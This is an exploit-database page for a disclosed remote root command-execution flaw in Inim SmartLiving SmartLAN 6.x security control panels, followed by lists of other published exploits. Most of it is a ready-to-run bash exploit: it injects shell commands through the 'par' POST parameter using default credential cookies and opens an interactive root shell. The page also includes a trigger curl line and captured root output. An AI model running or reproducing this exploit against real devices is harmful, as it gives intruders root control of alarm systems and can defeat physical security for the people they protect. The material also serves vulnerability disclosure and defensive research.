Search for hundreds of thousands of exploits

"Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution"

Author

Exploit author

LiquidWorm

Platform

Exploit platform

hardware

Release date

Exploit published date

2019-12-10

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
# Exploit Title: Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution
# Author: LiquidWorm
# Date: 2019-12-09
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Version: 6.x
# Advisory ID: ZSL-2019-5545
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5545.php

#!/bin/bash
#
#
# Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution
#
#
# Vendor: INIM Electronics s.r.l.
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Affected version: <=6.x
# Affected models: SmartLiving 505
#                  SmartLiving 515
#                  SmartLiving 1050, SmartLiving 1050/G3
#                  SmartLiving 10100L, SmartLiving10100L/G3
#
# Summary: SmartLiving anti-intrusion control panel and security system provides
# important features rarely found in residential, commercial or industrial application
# systems of its kind. This optimized-performance control panel provides first-rate
# features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
# end-to-end voice transmission (voice-on-bus), IP connectivity.
#
# SMARTLAN/SI:
# The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
# networking capability and fast connectivity to the Internet. Therefore, it is possible
# to set up a remote connection and program or control the system via the SmartLeague
# software application. In effect, the SmartLAN/SI board grants the same level of access
# to the system as a local RS232 connection.
#
# SMARTLAN/G:
# The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
# advanced remote-access and communication functions. The SmartLAN/G board is capable of
# sending event-related e-mails automatically. Each e-mail can be associated with a subject,
# an attachment and a text message. The attachment can be of any kind and is saved to an
# SD card. The message text can contain direct links to domains or IP addressable devices,
# such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
# global access to their control panels via any Internet browser accessed through a PC,
# PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
# distinguishing the means of connection and as a result provides an appropriate web-page
# for the tool in use. Smartphones can control the system in much the same way as a
# household keypad, from inside the house or from any part of the world.
#
# Desc: SmartLiving SmartLAN suffers from an authenticated remote command injection vulnerability.
# The issue exist due to the 'par' POST parameter not being sanitized when called with
# the 'testemail' module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit
# LSB executable, ARM) is calling the 'sh' executable via the system() function to issue
# a command using the mailx service and its vulnerable string format parameter allowing
# for OS command injection with root privileges. An attacker can remotely execute system
# commands as the root user using default credentials and bypass access controls in place.
#
# ================= dissassembly of vuln function =================
#
#[0x0000c86c]> pd @ 0x000c86c
#| ;-- pc:
#| ;-- r15:
#| 0x0000c86c    ldr r1, str.testemail       ; [0xed96:4]=0x74736574 ; "testemail" ; const char * s2
#| 0x0000c870    bl sym.imp.strcmp           ; int strcmp(const char *s1, const char *s2)
#| 0x0000c874    cmp r0, 0
#| 0x0000c878    bne 0xc8b8
#| 0x0000c87c    cmp sl, 0
#| 0x0000c880    beq 0xd148
#| 0x0000c884    bl sym.set_no_cache
#| 0x0000c888    add r5, sp, 0x20
#| 0x0000c88c    mov r0, r4
#| 0x0000c890    ldr r1, str.application_json ; [0xeda0:4]=0x6c707061 ; "application/json"
#| 0x0000c894    bl sym.imp.qcgires_setcontenttype
#| 0x0000c898    mov r0, r5                  ; char *s
#| 0x0000c89c    mov r1, 0xc8                ; 200 ; size_t
#| 0x0000c8a0    ldr r2, str.echo__Hello_____mailx__s__Email_test___s ; [0xedb1:4]=0x6f686365 ; "echo \"Hello!\" | mailx -s \"Email test\" %s" ; con
#| 0x0000c8a4    mov r3, r8                  ; ...
#| 0x0000c8a8    bl sym.imp.snprintf         ; int snprintf(char *s,
#| 0x0000c8ac    mov r0, r5                  ; const char * string
#| 0x0000c8b0    bl sym.imp.system           ; int system(const char *string)
#| 0x0000c8b4    b 0xd134
#|
#| system() @0x0000c8b0 arguments: "sh -c echo "Hello!" | mailx -s "Email test" %s"
#| Trigger suggest: $(curl -sik http://192.168.1.17/cgi-bin/web.cgi -X POST --data "mod=testemail&par=;/sbin/ifconfig" --cookie "user=admin;pass=pass;code=9999")
#| Process: 1351 root       0:00 sh -c echo "Hello!" | mailx -s "Emaiil test" ;/sbin/ifconfig
#|__
# =================================================================
#
# -----------------------------------------------------------------
#
# root@kali:~# ./xpl.sh https://192.168.1.17
# 
# Checking target: https://192.168.1.17
# ACCESS GRANTED!
# 
# root@ssl> id; uname -a; getconf LONG_BIT; cat ../version.html; pwd
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Linux SmartLAN 3.2.1 #195 PREEMPT Thu May 30 15:26:27 CEST 2013 armv5tejl GNU/Linux
# 32
# <!-- SLF6.07 10100 -->
# <html><body><h2>
# SmartLiving 6.07 10100
# <br><br>SmartLAN/G v. 6.11
# /www/cgi-bin
# root@ssl> exit
# root@kali:~/# 
#
# -----------------------------------------------------------------
#
# Tested on: GNU/Linux 3.2.1 armv5tejl
#            Boa/0.94.14rc21
#            BusyBox v1.20.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5544
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5544.php
#
#
# 06.09.2019
#

URL=$1
CGI="/cgi-bin/web.cgi"
COOK="user=admin;pass=pass;code=9999"
COOK1="user=admin;pass=pass;code=9998"
COOK2="user=user;pass=pass;code=0001"
PARAMS="mod=testemail&par=;"
CHECK=${URL:4:1}

if [ "$#" -ne 1 ]; then
	echo -en "\e[34m"
	echo "==============================================="
	echo " SmartLiving  SmartLAN 6.x Remote Root Exploit"
	echo -e "\t\tZSL-2019-5544"
	echo "==============================================="
	echo -en "\e[00m"
	echo -e "\nUsage: $0 http(s)://ip:port\n"
    exit 0
fi

echo -ne "\nChecking target: $URL\n"

if [ "$CHECK" == "s" ]; then
	TEST=$(curl -sIk $URL 2>/dev/null | head -1 | awk -F" " '{print $2}')
	if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
		echo "HTTPS with error!"
		exit 0
	fi
	if curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1>/dev/null
	then
		echo -e "ACCESS GRANTED!\n"
	else
		echo "Invalid credentials."
		exit 0
	fi
	while true; do
		R="$(tput sgr0)"
		S="$(tput setaf 2)"
		read -rp "${S}root@ssl>${R} " CMD
		if [[ "$CMD" == "exit" ]]; then
			exit 0
		fi
		curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5 
	done
else
	TEST=$(curl -sI $URL 2>/dev/null | head -1 | awk -F" " '{print $2}')
	if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
		echo "HTTP with error!"
		exit 0
	fi
	if curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1>/dev/null
	then
		echo -e "ACCESS GRANTED!\n"
	else
		echo "Invalid credentials."
		exit 0
	fi
	while true; do
		R="$(tput sgr0)"
		S="$(tput setaf 2)"
		read -rp "${S}root@http>${R} " CMD
		if [[ "$CMD" == "exit" ]]; then
			exit 0
		fi
		curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5
	done
fi
Release DateTitleTypePlatformAuthor
2020-07-02"WhatsApp Remote Code Execution - Paper"webappsandroid"ashu Jaiswal"
2020-07-02"ZenTao Pro 8.8.2 - Command Injection"webappsphp"Daniel Monzón"
2020-07-02"OCS Inventory NG 2.7 - Remote Code Execution"webappsmultipleAskar
2020-07-01"Online Shopping Portal 3.1 - Authentication Bypass"webappsphp"Ümit Yalçın"
2020-07-01"e-learning Php Script 0.1.0 - 'search' SQL Injection"webappsphpKeopssGroup0day_Inc
2020-07-01"PHP-Fusion 9.03.60 - PHP Object Injection"webappsphpcoiffeur
2020-07-01"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)"localwindows"Paras Bhatia"
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
Release DateTitleTypePlatformAuthor
2020-06-04"Cayin Signage Media Player 3.0 - Remote Command Injection (root)"webappsmultipleLiquidWorm
2020-06-04"Cayin Content Management Server 11.0 - Remote Command Injection (root)"webappsmultipleLiquidWorm
2020-06-04"SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)"webappshardwareLiquidWorm
2020-06-04"Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read"webappshardwareLiquidWorm
2020-06-04"Cayin Digital Signage System xPost 2.5 - Remote Command Injection"webappsmultipleLiquidWorm
2020-05-08"Extreme Networks Aerohive HiveOS 11.0 - Remote Denial of Service (PoC)"doshardwareLiquidWorm
2020-04-24"Furukawa Electric ConsciusMAP 2.8.1 - Remote Code Execution"webappsjavaLiquidWorm
2020-04-21"P5 FNIP-8x16A FNIP-4xSH 1.0.20 - Cross-Site Request Forgery (Add Admin)"webappshardwareLiquidWorm
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-01-29"Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2019-12-30"MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Authentication Bypass"webappshardwareLiquidWorm
2019-12-30"WEMS BEMS 21.3.1 - Undocumented Backdoor Account"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)"webappshardwareLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Authentication Bypass"webappsphpLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Remote Code Execution"webappsphpLiquidWorm
2019-12-30"Thrive Smart Home 1.1 - Authentication Bypass"webappsphpLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)"webappsphpLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Credential Disclosure"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot"webappshardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Hard-coded Credentials"localhardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution"webappshardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Unauthenticated Server-Side Request Forgery"webappshardwareLiquidWorm
2019-12-02"SmartHouse Webapp 6.5.33 - Cross-Site Request Forgery"webappsphpLiquidWorm
2019-11-14"Siemens Desigo PX 6.00 - Denial of Service (PoC)"doshardwareLiquidWorm
2019-11-13"Linear eMerge E3 1.00-06 - Remote Code Execution"webappshardwareLiquidWorm
2019-11-12"eMerge E3 1.00-06 - Cross-Site Request Forgery"webappshardwareLiquidWorm
2019-11-12"CBAS-Web 19.0.0 - 'id' Boolean-based Blind SQL Injection"webappsphpLiquidWorm
2019-11-12"eMerge E3 1.00-06 - Unauthenticated Directory Traversal"webappshardwareLiquidWorm
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47765/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.